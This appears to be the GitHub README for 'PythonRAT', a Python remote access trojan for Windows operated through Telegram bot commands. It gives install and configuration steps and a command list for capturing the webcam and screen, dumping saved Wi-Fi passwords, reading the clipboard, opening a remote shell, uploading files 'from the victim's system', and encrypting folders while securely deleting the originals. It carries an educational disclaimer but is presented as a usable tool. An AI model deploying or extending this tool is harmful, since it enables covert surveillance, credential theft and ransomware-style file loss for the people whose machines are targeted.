Skip to content

PythonRAT is a Windows-compatible Remote Access Tool written in Python. It enables remote interaction with a Windows system using Telegram bot commands. It offers features like webcam access, screenshot capture, system information retrieval, file encryption/decryption, clipboard access, remote shell, and Wi-Fi password extraction.

Notifications You must be signed in to change notification settings

annapurnageeks/PythonRAT-for-Windows

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

PythonRAT for Windows

⚠️ Disclaimer:
This project is for educational and research purposes only. Unauthorized use to access or control systems without explicit permission is illegal and unethical. The author is not responsible for any misuse or damage caused by this software. Ensure compliance with all applicable laws and regulations.

🧠 About

PythonRAT is a Windows-compatible Remote Access Tool written in Python. It enables remote interaction with a Windows system using Telegram bot commands. It offers features like webcam access, screenshot capture, system information retrieval, file encryption/decryption, clipboard access, remote shell, and Wi-Fi password extraction.

✨ Features

  • πŸ–₯️ Screen capture
  • πŸŽ₯ Webcam access
  • πŸ’» System information
  • πŸ“ File management (list, upload, navigate)
  • πŸ” File encryption/decryption with secure deletion
  • πŸ“‹ Clipboard text retrieval
  • πŸ“‘ Retrieve saved Wi-Fi passwords
  • πŸ—£οΈ Text-to-speech
  • πŸ”’ Lock Windows session
  • πŸ’¬ Remote shell execution
  • πŸ“Ž Upload any file via Telegram bot
  • ⏻ System shutdown (5-second timer)

πŸ› οΈ Prerequisites

  • Python 3.12 or higher
  • Telegram Bot Token from @BotFather
  • Windows OS
  • Required Libraries:
pip install mss opencv-python numpy pyttsx3 telebot pyAesCrypt secure_delete pyperclip Pillow clipboard

πŸš€ Installation

  1. Clone the Repository:
git clone https://github.com/your-username/PythonRAT-Windows.git
cd PythonRAT-Windows
  1. Install Dependencies:
pip install -r requirements.txt

Or install them manually.

  1. Configure the Telegram Bot: Open PythonRAT.py and replace:
TOKEN = 'your_bot_token_here'

with your own bot token from BotFather.

  1. Run the Script:
python PythonRAT.py

πŸ“± Usage (Telegram Bot Commands)

/start – Start the bot
/help – List available commands
/screen – Capture and send a screenshot
/webcam – Capture webcam image
/sys – Get system information
/ip – Get public IP address
/cd [folder] – Change working directory
/ls – List contents of the current directory
/upload [path] – Upload a file from the victim's system
/crypt [path] – Encrypt files in a folder
/decrypt [path] – Decrypt files in a folder
/lock – Lock the Windows session
/shell – Open remote shell session (type exit to leave)
/wifi – Get saved Wi-Fi SSIDs and passwords
/speech [text] – Convert text to speech
/clipboard – Read system clipboard
/shutdown – Shutdown the system in 5 seconds

πŸ”’ Notes on Windows Usage

  • Permissions: Webcam and screen capture may require additional permissions.
  • Encryption: Uses AES crypt with a hardcoded password (softwarica).
  • WiFi Dumping: Requires elevated privileges to export WLAN profiles.
  • Safe File Removal: Uses secure_delete to securely wipe original files.
  • Bot Polling: infinity_polling() keeps the bot online indefinitely.

πŸ§ͺ Debugging

  • Add logging for more verbose output:
import logging
logging.basicConfig(level=logging.DEBUG)

❗ Security & Ethical Reminder

  • Do NOT use on unauthorized systems.
  • Do NOT share your Telegram bot token publicly.
  • The author assumes no responsibility for misuse.

🧾 License

MIT License Β© 2025 Annapurnageeks

About

PythonRAT is a Windows-compatible Remote Access Tool written in Python. It enables remote interaction with a Windows system using Telegram bot commands. It offers features like webcam access, screenshot capture, system information retrieval, file encryption/decryption, clipboard access, remote shell, and Wi-Fi password extraction.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages